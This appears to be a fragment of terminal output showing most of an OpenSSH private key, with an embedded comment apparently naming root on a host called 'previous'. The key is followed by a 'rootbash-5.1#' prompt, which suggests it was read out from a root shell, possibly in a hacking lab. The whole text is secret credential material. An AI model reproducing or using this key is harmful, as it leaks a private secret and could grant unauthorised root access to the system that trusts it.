cs1vjmgyKNP7FYBnVtKsN5IZfVR6qZ7HuEiGxpXeB2oMavmO3+SLPlhEjZw2HVL8D6OWkl
MUCWU2eJec0g3svyuRj0JxdjT5+v78Se4tMSyxhlHM2++wrQrf81dCvE/upnMfFs0yZvA8
RRDLfXumeWxeY/4qEMeeT068UdQxMuCjaYTTwrhxpkn8UcVm9YWfyETmzeFQOxRoFstEVG
JEC3ndLeTmX9wv0obyVhxXrELHDu6QAAAAMBAAEAAAGASkQ4N3drGkWPloJxtZyl7GoPiw
S9/QzcgbO9GjYYgQi1gis+QY0JuUEGAbUok7swagftUvAw3WGbAZI1mgyzUYlIDEfYyAUc
JlA6Ui54Zk+RmPk9kSfVttX8BugtE8k+FJrB0RkphqPt+48YydaajplrPITAVLFQag5/so
v04r4FVMHvcPY2HP2s0IjPKCfWlikdSoTE8NZkd2C2N3YZx7E4JDvvLuSv+VbuJ8StotIM
m29EWsnsT81mGSGwY9wJQA2o4dPFiY2NIJN291z+8yUjOqEAtUpdzzz+rC6rw0LLGZmMRD
JGHPZqKm5npOjRrik3l4B2WLAj65x2tNOXbyrOn3mJXuFJeZWuOUZc/aneX8Psw8SiwCN2
0AvDwWxJ/LUV/WUEBsS5blHzwAnaN14Wn7Pvb7qDjMe6RLLnoi6uplQFa3Dd6YOvRqbRhD
p6xqb8JuyfiZPsDW3tUfeJtIpJG/xTAG+A2b28HO46DlVc/cpWjr8jWB5sLllpx9PZAAAA
wDd+4xHpgC/vYgBokVVXzOwOJg3HpKiEY0SI62zXV3M83aJNvwCrLe6AAEa7j+PoOvqsex
gVTnfEDqaJV6Unf6DxfN+sJICElTWouY5IZjvgpvCwC+L6eVWUD31irnU1YNGOgKY4Zaxv
/1BqFHDcujIPZbfHx4rU0MMAIRgf6ZXkdBkn51hapYKJX4yvNXESAsCKh62JWeF+zo4DaD
YZcaEKabfnopYJ47f9k8XeCYFRgTMHkMWRuwGw+jSU4Xci0wAAAMEAugJLPFJeq2vmsrTz
/BIm5BHUBdR2EFMaPIqRkM5Ntl71Ah5bh1MMijV/deIsltEZr8Adz6NagqDxcWIaZNNQNp
v0KsoZDqQuL4KLktC9IEUS9eLpONxlNUuSG5rEieuWSASBzPyPYC63J7ZyYS0aw7d38lR5
B2U4vWe1o7jkQZQkR4UY8fgZPDoqRbu26qNgFZYssuRjhrATvcG7f4lBJICmV6JJPamngO
6mixVNXTDxYySn+MYzhUVNdqN3nqAzAAAAwQDVdEyZiNhIz5sLJjBf/a1SrjnwbKq1ofql
4TIw8Xjw5Eia1oYfbIJmSQUwvP8IsV1dcj9P8ASZYlZF30hRWVa24dCewvhqIqdMoyO9DT
7hHi8eduqnfOdnFzgVu5JZzysNSB2QKaG29FVTMKWcxo+0Voh2mXKcVyNjuYadBvn1zZ+J
4ZpqUFQKbqIj4hUUKMBOwMssxs+Eup/46wb4i0vVhe3g7I5ySdWpJ/M4vUI+ooTw6C2GoS
jR+NWPfpk9KHMAAAANcm9vdEBwcmV2aW91cwECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
rootbash-5.1#









